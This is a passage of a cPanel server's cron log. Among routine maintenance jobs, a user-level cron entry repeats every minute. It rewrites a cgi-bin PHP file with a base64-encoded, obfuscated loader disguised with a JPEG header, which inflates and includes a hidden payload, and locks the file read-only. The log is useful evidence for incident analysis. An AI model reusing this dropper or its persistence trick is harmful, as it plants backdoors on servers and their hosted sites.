KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:21:01 server CROND[14931]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:22:01 server CROND[15314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:22:01 server CROND[15315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:22:01 server CROND[15316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:23:01 server CROND[15707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:23:01 server CROND[15708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:23:01 server CROND[15709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:24:01 server CROND[16091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:24:01 server CROND[16092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:24:01 server CROND[16093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:25:01 server CROND[16478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:25:01 server CROND[16483]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 06:25:01 server CROND[16481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:25:01 server CROND[16480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:25:01 server CROND[16484]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:25:01 server CROND[16482]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 06:25:01 server CROND[16486]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 06:25:01 server CROND[16485]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:26:01 server CROND[17400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:26:01 server CROND[17401]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:26:01 server CROND[17403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:27:01 server CROND[17795]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 06:27:01 server CROND[17796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:27:01 server CROND[17798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:27:01 server CROND[17797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:28:01 server CROND[18188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:28:01 server CROND[18189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:28:01 server CROND[18190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:29:01 server CROND[18576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:29:01 server CROND[18575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:29:01 server CROND[18577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:30:01 server CROND[18959]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:30:01 server CROND[18961]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:30:01 server CROND[18966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:30:01 server CROND[18967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:30:01 server CROND[18965]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 06:30:01 server CROND[18962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:30:01 server CROND[18963]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 06:30:01 server CROND[18964]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 06:31:01 server CROND[19901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:31:01 server CROND[19902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:31:01 server CROND[19903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:32:01 server CROND[20270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:32:01 server CROND[20271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:32:01 server CROND[20269]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:33:01 server CROND[20649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:33:01 server CROND[20650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
